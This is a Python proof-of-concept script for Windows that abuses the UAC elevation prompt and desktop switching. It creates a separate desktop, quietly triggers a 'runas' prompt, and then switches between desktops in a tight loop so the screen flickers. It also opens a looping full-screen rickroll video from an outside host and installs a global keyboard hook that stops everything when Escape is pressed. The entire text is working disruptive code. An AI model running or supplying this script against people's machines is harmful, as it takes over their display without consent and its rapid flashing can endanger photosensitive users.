import ctypes import ctypes.wintypes import threading import time import subprocess import os user32 = ctypes.windll.user32 kernel32 = ctypes.windll.kernel32 shell32 = ctypes.windll.shell32 gdi32 = ctypes.windll.gdi32 user32.CallNextHookEx.restype = ctypes.c_long user32.CallNextHookEx.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p] user32.SetWindowsHookExW.restype = ctypes.c_void_p user32.CreateWindowExW.restype = ctypes.c_void_p stop = threading.Event() hooks_ready = threading.Event() class KBDLLHOOKSTRUCT(ctypes.Structure): _fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong), ("flags", ctypes.c_ulong), ("time", ctypes.c_ulong), ("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))] @ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p) def kb_proc(nCode, wParam, lParam): if nCode >= 0 and lParam: kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0] if kb.vkCode == 0x1B and not (kb.flags & 0x80): stop.set() return user32.CallNextHookEx(None, nCode, wParam, lParam) VIDEO_URL = "https://anondrop.net/1519715400626081836/Rick%20Astley%20-%20Never%20Gonna%20Give%20You%20Up%20(Official%20Video)%20(4K%20Remaster).mp4" h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None) h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100) class SEI(ctypes.Structure): _fields_ = [ ("cbSize", ctypes.c_ulong), ("fMask", ctypes.c_ulong), ("hwnd", ctypes.c_void_p), ("lpVerb", ctypes.c_wchar_p), ("lpFile", ctypes.c_wchar_p), ("lpParameters", ctypes.c_wchar_p), ("lpDirectory", ctypes.c_wchar_p), ("nShow", ctypes.c_int), ("hInstApp", ctypes.c_void_p), ("lpIDList", ctypes.c_void_p), ("lpClass", ctypes.c_wchar_p), ("hkeyClass", ctypes.c_void_p), ("dwHotKey", ctypes.c_ulong), ("hIconOrMonitor", ctypes.c_void_p), ("hProcess", ctypes.c_void_p), ] def trigger(): sei = SEI() sei.cbSize = ctypes.sizeof(SEI) sei.fMask = 0x00000040 sei.lpVerb = "runas" sei.lpFile = "cmd.exe" sei.lpParameters = "/c exit" sei.nShow = 0 shell32.ShellExecuteExW(ctypes.byref(sei)) if sei.hProcess: kernel32.CloseHandle(sei.hProcess) user32.SwitchDesktop(h_poc) threading.Thread(target=trigger, daemon=True).start() time.sleep(0.05) user32.SwitchDesktop(h_def) mpv_path = r"C:\Program Files\mpv\mpv.exe" vlc_path = r"C:\Program Files\VideoLAN\VLC\vlc.exe" if os.path.exists(mpv_path): subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"], creationflags=0x08000000) elif os.path.exists(vlc_path): subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"], creationflags=0x08000000) else: subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL], shell=False, creationflags=0x08000000) WNDPROCTYPE = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p, ctypes.c_uint, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM) SW = user32.GetSystemMetrics(0) SH = user32.GetSystemMetrics(1) TEXT = "Press Escape to Quit" @WNDPROCTYPE def wnd_proc(hwnd, msg, wp, lp): if msg == 0x000F: ps = ctypes.create_string_buffer(72) hdc = user32.BeginPaint(hwnd, ps) user32.SetBkColor(hdc, 0x00000000) user32.SetTextColor(hdc, 0x000000FF) hf = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial") old = gdi32.SelectObject(hdc, hf) gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT)) gdi32.SelectObject(hdc, old) gdi32.DeleteObject(hf) user32.EndPaint(hwnd, ps) return 0 return user32.DefWindowProcW(hwnd, msg, wp, lp) def overlay_thread(): hInstance = kernel32.GetModuleHandleW(None) class WNDCLASSW(ctypes.Structure): _fields_ = [("style", ctypes.c_uint), ("lpfnWndProc", WNDPROCTYPE), ("cbClsExtra", ctypes.c_int), ("cbWndExtra", ctypes.c_int), ("hInstance", ctypes.c_void_p), ("hIcon", ctypes.c_void_p), ("hCursor", ctypes.c_void_p), ("hbrBackground", ctypes.c_void_p), ("lpszMenuName", ctypes.c_wchar_p), ("lpszClassName", ctypes.c_wchar_p)] wc = WNDCLASSW() wc.lpfnWndProc = wnd_proc wc.hInstance = hInstance wc.hbrBackground = gdi32.CreateSolidBrush(0x00000000) wc.lpszClassName = "RickEsc" user32.RegisterClassW(ctypes.byref(wc)) hwnd = user32.CreateWindowExW( 0x00000008 | 0x00000080, "RickEsc", None, 0x80000000 | 0x10000000, 0, SH - 120, SW, 120, None, None, hInstance, None ) user32.ShowWindow(hwnd, 5) user32.UpdateWindow(hwnd) m = ctypes.wintypes.MSG() while not stop.is_set(): if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1): user32.TranslateMessage(ctypes.byref(m)) user32.DispatchMessageW(ctypes.byref(m)) user32.SetWindowPos(hwnd, ctypes.c_void_p(-1), 0, SH - 120, SW, 120, 0x0010) time.sleep(0.05) user32.DestroyWindow(hwnd) def hook_thread(): h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0) hooks_ready.set() m = ctypes.wintypes.MSG() while not stop.is_set(): if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1): user32.TranslateMessage(ctypes.byref(m)) user32.DispatchMessageW(ctypes.byref(m)) time.sleep(0.0005) user32.UnhookWindowsHookEx(h_kb) threading.Thread(target=hook_thread, daemon=False).start() threading.Thread(target=overlay_thread, daemon=True).start() hooks_ready.wait() def toggle(): while not stop.is_set(): user32.SwitchDesktop(h_poc) user32.SwitchDesktop(h_def) user32.SwitchDesktop(h_poc) user32.SwitchDesktop(h_def) user32.SwitchDesktop(h_poc) user32.SwitchDesktop(h_def) threading.Thread(target=toggle, daemon=True).start() stop.wait() time.sleep(0.1) user32.SwitchDesktop(h_def) user32.CloseDesktop(h_poc) user32.CloseDesktop(h_def)